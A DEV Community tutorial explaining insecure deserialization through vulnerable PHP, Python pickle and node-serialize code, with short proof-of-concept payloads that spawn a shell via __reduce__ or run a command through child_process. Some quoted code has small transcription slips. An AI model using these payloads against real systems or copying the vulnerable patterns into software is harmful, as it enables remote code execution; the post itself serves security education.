DEV Community

Cover image for What is insecure deserialization
Grzegorz Piechnik
Grzegorz Piechnik

Posted on • Edited on

What is insecure deserialization

Unsecured data deserialization ranks eighth on the list of the ten most critical web application security threats. Before we address the attacks themselves, let's start with what serialization is.

Data serialization

Simply put, serialization involves converting an object instance into bytes for transmission over a network. Deserialization, then, is the reverse process.

For example, let's imagine a situation in which a user sends data to a server via a form using an API. They are changed into serial form, and then received by the server deserialized and used to, for example, save them in a database.

Examples of unsafe deserialization

In order not to be theoretical, let's go to real examples.

CVE-2020-9006

To start with something simple. The Popup Builder plugin version 2.2.8 to 2.6.7.6 for WordPress showed a vulnerability to SQL Injection by deserializing the attachmentUrl variable. This allows the creation of an administrator account, resulting in the possibility of remote code execution. The vulnerable portion of the code can be found below.

function sgImportPopups()
{
  global $wpdb;
  url = $_POST['attachmentUrl'];
  contents = unserialize(base64_decode(file_get_contents($url)));

  /* For tables wich they are not popup tables child ex. subscribers */
  foreach ($contents['customData'] as $tableName => $datas) {
    $columns = '';

    $columsArray = array();
    foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
      $columsArray[$key] = $value['Field'];
    }
    $columns .= implode(array_values($columsArray), ', ');
    foreach ($datas as $key => $data) {
      $values = "'".implode(array_values($data), "','")."'";
      $customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
    }
  }
(...)
}
Enter fullscreen mode Exit fullscreen mode

As you can see, the attachmentUrl variable is not validated in any way. Instead, it is directly passed to the unserialize() function. The deserialized data is next used to populate the database. Zeroauth in its post shows an example of a function used to create a malicious payload.

CWE-502

There is a pickle library in python that supports serialization and deserialization of objects. The following example retrieves and processes the data and then authenticates the user based on an existing token.

class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):

     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication

  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed
Enter fullscreen mode Exit fullscreen mode

The problem with the above code is that the attacker is able to create the AuthToken object itself, which will then initialize one of the Python subprocesses. What does this mean? That we can execute any command on the server. Let's take a look at the following example.

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
Enter fullscreen mode Exit fullscreen mode

The pickle library allows any object to declare how it is to be "pickled" by defining the __reduce__ function. Ultimately, it returns a string or tuple describing how the object can be reconstructed after unpicking. The tuple must consist of two elements:

  • the called object class
  • the passed arguments

This is how we are able to define the returned object, which will run the shell by default.

CVE-2017-5941

From notification we can learn that in the node-serialize library version 0.0.4, there is an unserialize() function that can be used to inject arbitrary code by passing a JavaScript object with an immediately invoked function expression. It looks like the following, and someone who works together in jsa on a daily basis has surely been familiar with it.

(function() {
    'use strict';  

}());
Enter fullscreen mode Exit fullscreen mode

An example code with the payload used could look like the following.

var serialize = require('node-serialize');
var payload = '{
  "rce":"_$$ND_FUNC$$_function(){
    require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { 
      console.log(stdout)});
    }()"
}';
serialize.unserialize(payload);
Enter fullscreen mode Exit fullscreen mode

In the above example, the code results in running the "ls" command on the server.

Sources

https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://qa-stack.pl/programming/447898/what-is-object-serialization
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941
https://cwe.mitre.org/data/definitions/502.html
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://cwe.mitre.org/data/definitions/502.html#REF-467
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9006
https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/

Top comments (0)